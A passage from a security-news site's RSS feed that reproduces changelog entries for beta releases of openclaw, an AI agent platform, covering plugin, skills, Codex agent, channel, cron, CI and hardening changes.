<li>Plugin SDK/channels: add typed presentation command actions so native slash-command and callback controls can round-trip through capable channel plugins without being reinterpreted. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558368986" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88721" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88721/hovercard" href="https://github.com/openclaw/openclaw/pull/88721">#88721</a>)</li>
<li>Plugins: add a SecretRef provider integration manifest contract and extract shared LLM core packages for provider/plugin reuse. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456977405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82326" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82326/hovercard" href="https://github.com/openclaw/openclaw/pull/82326">#82326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551059990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88117/hovercard" href="https://github.com/openclaw/openclaw/pull/88117">#88117</a>)</li>
<li>Skills: add the core skills index and centralize skills runtime loading, status, filtering, and prompt formatting.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Agents/media: keep async image, music, and video generation starts from ending the Codex turn, so mixed requests can continue with summaries or other work while media renders in the background.</li>
<li>Agents/Codex: keep public OpenAI API-key profiles from being treated as native Codex app-server auth while preserving persisted Codex OAuth sessions.</li>
<li>Agents/Codex: stream Codex app-server final-answer partials to live reply previews, preserve ACP metadata in SQLite, prefer real tool results over synthetic repair output, and preserve workspace/session metadata through ACP runtime refactors. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4555235950" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88405" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/88405/hovercard" href="https://github.com/openclaw/openclaw/issues/88405">#88405</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558386594" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88724" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88724/hovercard" href="https://github.com/openclaw/openclaw/pull/88724">#88724</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558459446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88730" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88730/hovercard" href="https://github.com/openclaw/openclaw/pull/88730">#88730</a>)</li>
<li>Control UI: keep collapsed tool cards labeled with the tool name and action instead of generic output text. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/Codex: surface Skill Workshop guidance in Codex app-server prompts when <code>skill_workshop</code> is available. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/auth: write auth profiles atomically, add force re-login recovery, preserve workspaces during state-only uninstall, and compact before oversized turns so recovery paths avoid partial state.</li>
<li>Skills: skip disabled skill env overrides from stale persisted snapshots so disabled skill <code>apiKey</code> SecretRefs cannot abort embedded or channel turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401582392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79072" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/79072/hovercard" href="https://github.com/openclaw/openclaw/issues/79072">#79072</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4403061400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79173/hovercard" href="https://github.com/openclaw/openclaw/pull/79173">#79173</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zeus1959/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zeus1959">@zeus1959</a>.</li>
<li>CLI: avoid live catalog validation during <code>openclaw agents add</code>, so adding a secondary agent no longer depends on provider catalog availability. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370229397" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76284" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76284/hovercard" href="https://github.com/openclaw/openclaw/issues/76284">#76284</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554276259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88314" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88314/hovercard" href="https://github.com/openclaw/openclaw/pull/88314">#88314</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>CLI: keep <code>plugins list --json</code> on the snapshot-only path so plugin sweeps avoid loading the full runtime status graph.</li>
<li>Plugins: make PixVerse external-plugin ClawHub metadata explicit and keep it out of bundled dist builds.</li>
<li>Plugins: clarify plugin loader failure guidance so missing or incompatible plugin packages point operators at the right repair path.</li>
<li>Cron: keep SQLite cron migrations compatible with legacy run-log tables, archived job stores, diagnostic cron names, and legacy one-shot delete-after-run behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554018071" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88285" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88285/hovercard" href="https://github.com/openclaw/openclaw/pull/88285">#88285</a>)</li>
<li>Memory: serialize QMD update/embed writes per store, preserve phase signals on read errors, and rewrite generated transcript paths on rollover so memory/search state survives concurrent gateway and CLI activity. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259457800" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66339" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66339/hovercard" href="https://github.com/openclaw/openclaw/issues/66339">#66339</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510532697" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85931" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85931/hovercard" href="https://github.com/openclaw/openclaw/pull/85931">#85931</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>Media: allow validated TXT, JSON, YAML, and YML host-local document sends while rejecting binary-disguised text files. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4411236357" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79658" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79658/hovercard" href="https://github.com/openclaw/openclaw/pull/79658">#79658</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simplyclever914/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simplyclever914">@simplyclever914</a>.</li>
<li>Voice calls: migrate legacy call logs through doctor into plugin-state SQLite while keeping malformed or incomplete sources retryable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558509751" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88731" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88731/hovercard" href="https://github.com/openclaw/openclaw/pull/88731">#88731</a>)</li>
<li>Providers: bound generated media downloads from OpenAI, Runway, xAI, MiniMax, BytePlus, DashScope-compatible, FAL, OpenRouter, Google, Vydra, and Comfy providers.</li>
<li>Providers/OpenAI: avoid orphan Responses message-id replay and sanitize raw HTTP 401 provider errors before they reach user-facing logs.</li>
<li>Providers: cap GitHub Copilot OAuth request timeouts before creating abort signals.</li>
<li>Cron: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot.</li>
<li>Agents/Codex: keep live session locks during cleanup, recover interrupted CLI tool transcripts, preserve Codex auth and compaction session identity, clear orphan tool state, cap app-server idle timers, and keep media completion delivery retryable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551374072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88129" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88129/hovercard" href="https://github.com/openclaw/openclaw/pull/88129">#88129</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551617563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88136/hovercard" href="https://github.com/openclaw/openclaw/pull/88136">#88136</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551806062" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88141" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88141/hovercard" href="https://github.com/openclaw/openclaw/pull/88141">#88141</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552232095" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88162/hovercard" href="https://github.com/openclaw/openclaw/pull/88162">#88162</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552583855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88182/hovercard" href="https://github.com/openclaw/openclaw/pull/88182">#88182</a>)</li>
<li>Chat/UI: show Gateway chat failures as visible assistant messages in the Control UI instead of only setting an invisible error state.</li>
<li>Channels: recover failed progress-draft starts and refresh just-started progress drafts across Discord, Telegram, Slack, Matrix, and Teams instead of losing early progress updates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463729976" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83115" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83115/hovercard" href="https://github.com/openclaw/openclaw/issues/83115">#83115</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558636505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88749" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88749/hovercard" href="https://github.com/openclaw/openclaw/pull/88749">#88749</a>)</li>
<li>Discord: bound REST entity cache growth and keep recovered tool warning output mention-inert.</li>
<li>Channels: cap Telegram, Discord, WhatsApp, Signal, Feishu, Google Chat, Microsoft Teams, QQBot, Nostr, Zalo, Zalouser, and Nextcloud-style request/retry timers; preserve SMS approval reply routes; and retry WhatsApp QR login 408 timeouts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552604231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88183/hovercard" href="https://github.com/openclaw/openclaw/pull/88183">#88183</a>)</li>
<li>Security/config parsing: reject unsafe OAuth/token lifetimes, retry-after delays, inbound timestamps, response body sizes, command timeout config, sandbox observer token TTLs, and gateway WebSocket calls after close.</li>
<li>Gateway/security: rate-limit bootstrap-token verification, guard direct session display names, and add Tailscale Serve service-name support without weakening gateway exposure checks.</li>
<li>Providers/media: cap local service, model, usage, queue, generated media, TTS, music, workflow polling, and provider OAuth request timers across hosted and local providers.</li>
<li>Plugins/install: add npm README coverage for channel providers and pin WhatsApp media decoding to Baileys' supported peer range so external WhatsApp installs do not fail npm peer resolution.</li>
<li>Release/CI/E2E: bound release candidate reads, beta smoke REST calls, changelog restore, kitchen-sink and bundled plugin readiness probes, secret-provider probes, Vitest routing, and mainline test flakes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551354671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88127" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88127/hovercard" href="https://github.com/openclaw/openclaw/pull/88127">#88127</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551653681" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88137" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88137/hovercard" href="https://github.com/openclaw/openclaw/pull/88137">#88137</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552032597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88155" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88155/hovercard" href="https://github.com/openclaw/openclaw/pull/88155">#88155</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552192113" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88160" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88160/hovercard" href="https://github.com/openclaw/openclaw/pull/88160">#88160</a>)</li>
<li>Release/CI/E2E: refresh pinned Node Docker image digests and keep pairing challenge assertions aligned with fenced approval commands. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495421361" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84981" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84981/hovercard" href="https://github.com/openclaw/openclaw/issues/84981">#84981</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495608523" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84988" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84988/hovercard" href="https://github.com/openclaw/openclaw/pull/84988">#84988</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LibraHo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LibraHo">@LibraHo</a>.</li>
<li>Release/CI/E2E: run the secret-provider integration proof through the repo pnpm runner so native macOS and Windows validation use the hydrated package-manager shim.</li>
<li>Release/CI/E2E: run the Telegram desktop proof gateway through the repo pnpm runner so native macOS proof uses the hydrated package-manager shim.</li>
<li>Docs/CI: run Mintlify anchor checks through the repo pnpm runner so docs link validation works when pnpm is only available through the hydrated package-manager shim.</li>
<li>Agents: keep configured fallback model metadata typed so provider params, context-token caps, and media input limits do not break changed-gate typechecks.</li>
<li>Agents: accept hidden <code>sessions_send</code> body aliases before validation while keeping the model-facing <code>message</code> schema canonical. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553200827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88229" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88229/hovercard" href="https://github.com/openclaw/openclaw/pull/88229">#88229</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>CI/Crabbox: keep default runner capacity spot-only and provider-neutral so OpenClaw remote validation does not silently fall back to on-demand leases or stale AWS region hints.</li>
<li>CI/Crabbox: route Crabbox wrapper and Testbox workflow edits to their regression tests so changed-test gates do not silently run zero specs.</li>
<li>CI/workflows: route workflow sanity helper edits to their guard tests and cover composite-action input interpolation checks.</li>
<li>CI/tooling: route CI scope, dependency, changelog, and docs helper edits to their owner tests instead of silently skipping changed-test coverage.</li>
<li>CI/tooling: route package, release, and install helper edits to their owner tests so changed-test gates cover publish and installer script changes.</li>
<li>CI/tooling: route shared script library edits through their owner tests so lock, process, safety, and scan helpers do not skip changed-test coverage.</li>
<li>CI/tooling: skip expensive import-graph scans once a changed diff already requires broad fallback, keeping local changed-test planning fast while still collecting explicit owner tests.</li>
<li>CI/tooling: route script edits through conventional owner tests when matching <code>test/scripts</code> or <code>src/scripts</code> coverage already exists.</li>
<li>CI/tooling: honor option terminators in the memory FD repro script so follow-on arguments are not reparsed.</li>
<li>Release/CI/E2E: assert plugin lifecycle runtime inspect output instead of only capturing it.</li>
<li>Release/CI/E2E: make gateway-network prove the advertised health RPC and retry early WebSocket closes without burning full open timeouts.</li>
<li>Release/CI/E2E: honor option terminators across release, Parallels smoke, plugin gauntlet, and extension-memory scripts.</li>
<li>Release/CI/E2E: fail plugin gateway gauntlet QA chunks when the requested suite summary is missing or invalid.</li>
<li>Performance: prebuild QA runtime probes with generated plugin assets but without CLI startup metadata.</li>
<li>Performance: skip declaration bundling for runtime-only CLI startup and gateway watch build profiles.</li>
<li>Performance: reuse prepared provider handles, strict tool schemas, gateway runtime metadata, session maintenance config, plugin metadata, bundled skill allowlists, package-local plugin artifacts, single-entry store writes, and validated/serialized session prompt blobs.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.31-beta.2]]></title>
<description><![CDATA[2026.5.31
Highlights

Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (#88129, #88136, #88141, #88162, #88182)
Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, S...]]></description>
<link>https://tsecurity.de/de/3561241/downloads/openclaw-2026531-beta2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3561241/downloads/openclaw-2026531-beta2/</guid>
<pubDate>Sun, 31 May 2026 20:31:31 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.31</h2>
<h3>Highlights</h3>
<ul>
<li>Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551374072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88129" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88129/hovercard" href="https://github.com/openclaw/openclaw/pull/88129">#88129</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551617563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88136/hovercard" href="https://github.com/openclaw/openclaw/pull/88136">#88136</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551806062" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88141" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88141/hovercard" href="https://github.com/openclaw/openclaw/pull/88141">#88141</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552232095" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88162/hovercard" href="https://github.com/openclaw/openclaw/pull/88162">#88162</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552583855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88182/hovercard" href="https://github.com/openclaw/openclaw/pull/88182">#88182</a>)</li>
<li>Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, Slack, Discord, Microsoft Teams, Google Chat, Google Meet, and iOS realtime Talk. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550652541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88096/hovercard" href="https://github.com/openclaw/openclaw/pull/88096">#88096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550870064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88105" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88105/hovercard" href="https://github.com/openclaw/openclaw/pull/88105">#88105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552604231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88183/hovercard" href="https://github.com/openclaw/openclaw/pull/88183">#88183</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553214878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88231/hovercard" href="https://github.com/openclaw/openclaw/pull/88231">#88231</a>)</li>
<li>Provider and plugin requests now bound more timers, retries, OAuth/device-code lifetimes, media downloads, local service probes, and generated-content polling paths before they can hang a run.</li>
<li>Skills, session metadata, gateway runtime state, plugin metadata, and store writes do less repeated work on hot paths while keeping config and dispatch behavior stable.</li>
<li>Workboard, SecretRef plugin manifests, hosted iOS push relay, and external Copilot/Tokenjuice packaging add broader orchestration, integration, and plugin delivery surfaces. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456977405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82326" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82326/hovercard" href="https://github.com/openclaw/openclaw/pull/82326">#82326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536829250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87469/hovercard" href="https://github.com/openclaw/openclaw/pull/87469">#87469</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544177368" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87796" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87796/hovercard" href="https://github.com/openclaw/openclaw/pull/87796">#87796</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550878888" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88107" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88107/hovercard" href="https://github.com/openclaw/openclaw/pull/88107">#88107</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551059990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88117/hovercard" href="https://github.com/openclaw/openclaw/pull/88117">#88117</a>)</li>
<li>Release, CI, Docker, E2E, and diagnostics lanes now cap more logs, response bodies, readiness probes, artifact checks, and status polling so failures report bounded proof instead of stalling.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Docs: add a dedicated Skill Workshop guide covering governed skill creation, reviewable proposals, CLI, Gateway, agent tool behavior, approval policy, support files, and recovery. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let the <code>skill_workshop</code> agent tool apply, reject, and quarantine explicit proposals through the guarded review flow. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let proposals carry approved support files under standard skill folders, with scanner, hash, and rollback safeguards. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let pending proposals be revised in place with versioned, dated proposal frontmatter before approval. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: add Skill Workshop with pending proposals, CLI/Gateway review actions, rollback metadata, and the <code>skill_workshop</code> agent tool. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins: externalize Tokenjuice as the official <code>@openclaw/tokenjuice</code> plugin with npm and ClawHub publish metadata.</li>
<li>Plugins: externalize the GitHub Copilot agent runtime as the official <code>@openclaw/copilot</code> plugin with npm and ClawHub publish metadata.</li>
<li>iOS: add hosted push relay defaults, realtime Talk playback, and a guarded WebSocket ping path for more reliable mobile sessions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550652541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88096/hovercard" href="https://github.com/openclaw/openclaw/pull/88096">#88096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550870064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88105" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88105/hovercard" href="https://github.com/openclaw/openclaw/pull/88105">#88105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553214878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88231/hovercard" href="https://github.com/openclaw/openclaw/pull/88231">#88231</a>)</li>
<li>Workboard: add orchestration primitives and agent coordination tools for multi-agent planning and run tracking. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536829250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87469/hovercard" href="https://github.com/openclaw/openclaw/pull/87469">#87469</a>)</li>
<li>Code mode: add internal namespaces for scoped agent/global sessions and exact namespace tool dispatch. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4549263089" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88043" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88043/hovercard" href="https://github.com/openclaw/openclaw/pull/88043">#88043</a>)</li>
<li>Control UI: add a Dreaming-tab agent selector and propagate the selected agent through Dreaming status, diary, and diary actions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4395906736" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78748" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78748/hovercard" href="https://github.com/openclaw/openclaw/pull/78748">#78748</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</li>
<li>Plugins: add a SecretRef provider integration manifest contract and extract shared LLM core packages for provider/plugin reuse. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456977405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82326" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82326/hovercard" href="https://github.com/openclaw/openclaw/pull/82326">#82326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551059990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88117/hovercard" href="https://github.com/openclaw/openclaw/pull/88117">#88117</a>)</li>
<li>Skills: add the core skills index and centralize skills runtime loading, status, filtering, and prompt formatting.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Agents/media: keep async image, music, and video generation starts from ending the Codex turn, so mixed requests can continue with summaries or other work while media renders in the background.</li>
<li>Agents/Codex: keep public OpenAI API-key profiles from being treated as native Codex app-server auth while preserving persisted Codex OAuth sessions.</li>
<li>Control UI: keep collapsed tool cards labeled with the tool name and action instead of generic output text. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/Codex: surface Skill Workshop guidance in Codex app-server prompts when <code>skill_workshop</code> is available. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI: keep <code>plugins list --json</code> on the snapshot-only path so plugin sweeps avoid loading the full runtime status graph.</li>
<li>Plugins: make PixVerse external-plugin ClawHub metadata explicit and keep it out of bundled dist builds.</li>
<li>Cron: keep SQLite cron migrations compatible with legacy run-log tables, archived job stores, diagnostic cron names, and legacy one-shot delete-after-run behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554018071" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88285" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88285/hovercard" href="https://github.com/openclaw/openclaw/pull/88285">#88285</a>)</li>
